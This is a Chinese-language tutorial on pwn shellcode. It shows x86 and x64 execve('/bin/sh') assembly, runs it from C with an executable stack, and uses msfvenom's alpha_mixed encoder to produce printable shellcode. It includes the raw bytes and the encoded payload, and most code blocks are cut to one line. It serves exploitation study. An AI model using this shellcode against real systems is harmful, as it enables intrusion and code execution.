Pwn shellcode学习
NASM安装
1 | tar zxvf nasm-2.15.05.tar.gz |
安装完成后就可以在linux中编译asm文件了。
用汇编编写简单的shellcode
32位shellcode
1 | global _start |
这串汇编指令相当于execve(“/bin/sh”)编写完成后编译。
1 | nasm -f elf32 shellcode_x86.asm |
可以看到已经得到权限。
将文件放入ida,hex view查看代码段
可以看到绿色这段就是我们要的代码段
将它复制,放入C语言程序
1 | int main(){ |
使用
gcc -m32 -z execstack shellcode_x86.c -o shellcode_x86_c
运行C编译文件
可以看到这个C程序也获得了shell。
为什么这个C程序也能获得shell呢?因为我们在shellcode这个字符串变量里放入了之前汇编编译的机器码。
如果将shellcode这个字符串当做函数指针执行的话,相当于在汇编层面call了shellcode这个函数,执行汇编指令,从而获取shell。
64位shellcode
1 | global _start |
1 | nasm -f elf64 shellcode64.asm |
1 | int main(){ |
可见字符shellcode
安装msf
metasploit-framework_6.0.49+20210611102634~1rapid7-1_amd64.deb
将文件放入linux系统
sudo dpkg -i metasploit-framework_6.0.49+20210611102634~1rapid7-1_amd64.deb
解包后直接输入
msfvenom -l encoders
第一次安装完可能会申请装个database什么的,让它装就行。
然后就能看到shellcode编码类型
我们选择x86/alpha_mixed
然后使用这个指令
1 | python3 -c 'import sys; sys.stdout.write("\x31\xC9\xF7\xE1\xB0\x0B\x51\x68\x2F\x2F\x73\x68\x68\x2F\x62\x69\x6E\x89\xE3\xCD\x80")' | msfvenom -p - -e x86/alpha_mixed -a linux -f raw -a x86 --platform linux BufferRegister=EAX -o payload |
他就会把编译结果放到当前目录的payload文件里
PYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJITqHCoyXCMgKsY1XBX0fkbq3XdoFOt3E8axtoCRqyrNiRmY8CnCXCLMzbMPAA